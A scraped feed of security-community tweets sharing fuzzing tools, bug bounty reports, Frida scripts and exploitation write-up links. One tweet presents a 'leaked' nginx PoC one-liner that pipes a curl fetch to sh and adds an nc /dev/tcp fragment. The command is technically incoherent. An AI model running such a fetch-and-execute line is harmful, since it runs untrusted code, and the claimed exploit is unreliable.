zx1340

Our LLM powered fuzzing framework is now open for community research. Help accelerate the innovation in #fuzzing - github.com/google/oss-fuz…

Ladies and Gentlemen: The new Dojo opens to welcome black belt Hackers to fight for honor!!! #VSRC Liferay revisited: A tale of 20k$. vsrc.vng.com.vn/blog/liferay-r… Hope you guys enjoy it and stay tuned for more technique writeups / blogs / exploits ... will come. ~Cheers, VSRC

Key takeaway: Fuzzing is extremely sensitive to your corpus and your mutator. To emphasize this, we wrote a 4 line-of-code mutator which was able to find multiple bugs in latest objdump in a few thousand fuzz cases. AFL was unable to find any bugs even with millions of cases.

Node.js third-party modules disclosed a bug submitted by ahihi: hackerone.com/reports/902739 #hackerone #bugbounty

Finally. It is official now. Wireguard is now in Linus' Linux kernel tree. No more OpenVPN ;) lists.zx2c4.com/pipermail/wire…

[Educational] One of the best blog posts that I ever read about going from 0 to unauth RCE in f**king Mikrotik OS step by step: @maxi./finding-and-exploiting-cve-2018-7445-f3103f163cc1" target="_blank" rel="nofollow noopener">medium.com/@maxi./finding…

curl cheat sheet refresh? Are there any significant curl options missing on this image that you'd miss on a tshirt? =) curl.github.io/curl-cheat-she…

Investigating Windows Graphics Vulnerabilities: A Reverse Engineering and #Fuzzing Story. @Ixia_ATI security researcher Radu-Emanuel Chiscariu shares his findings in this blog: hubs.ly/H0ltdHC0 #Ixiacom CVE-2019-0618 #SecOps @adur_cre

New Blog Post: In-Process Fuzzing With @fridadotre (also featuring Frizzer by @dennismantz and @lod108): bananamafia.dev/post/frida-fuz… #frida

How phishing attacks work. twitter.com/LadyNevaa/stat…

Debugging the Samsung Android Kernel #MobileSecurity #AndroidSecurity by @Alex91dotar Part 1: @alex91ar/debugging-the-samsung-android-kernel-part-1-ab2a9b87c162?source=friends_link&sk=0b4db94e670f2635f5daaffb4d2b6108" target="_blank" rel="nofollow noopener">medium.com/@alex91ar/debu… Part 2: @alex91ar/debugging-the-samsung-android-kernel-part-2-cebac7069863?source=friends_link&sk=e39b8ee3ec474d47dcb24bf6932a9b5e" target="_blank" rel="nofollow noopener">medium.com/@alex91ar/debu… Part 3: @alex91ar/debugging-the-samsung-android-kernel-part-3-c27e916c9a7d?source=friends_link&sk=a83321abba18fbd767695e1252fdbe7a" target="_blank" rel="nofollow noopener">medium.com/@alex91ar/debu…

LEAKED: nginx 1.x PoC on-liner. Null-byte RCE overflow in nginx BLT/Stream curl -gsS victim.server.here/../../../%00/n…\<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Twitter lite (Android): Vulnerable to local file steal, Javascript injection, Open redirect #MobileSecurity #AndroidSecurity hackerone.com/reports/499348

Just published a script to quickly hook JNI Call from Android NDK with @fridadotre github.com/Areizen/JNI-Fr…

Reminder: Google gives anyone with a Gmail account a free Debian VM with 5Gb of storage. console.cloud.google.com/cloudshell

Finally! I'm releasing my tool,"Virtuailor", it reconstructs C++ vtables in IDA and helps making C++ RE easier! Enjoy! 😀 github.com/0xgalz/Virtuai…

This is the story of how we discovered over 50 critical vulnerabilities in Adobe Reader research.checkpoint.com/50-adobe-cves-… #adobe

Breaking The Facebook For Android Application #MobileSecurity #AndroidSecurity ash-king.co.uk/facebook-bug-b…

Security education is something we are deeply passionate about, and we're trying to help make it better. Read about the accessible, gamified approach we've been using to teach and scale binary exploitation education: blog.ret2.io/2018/09/11/sca…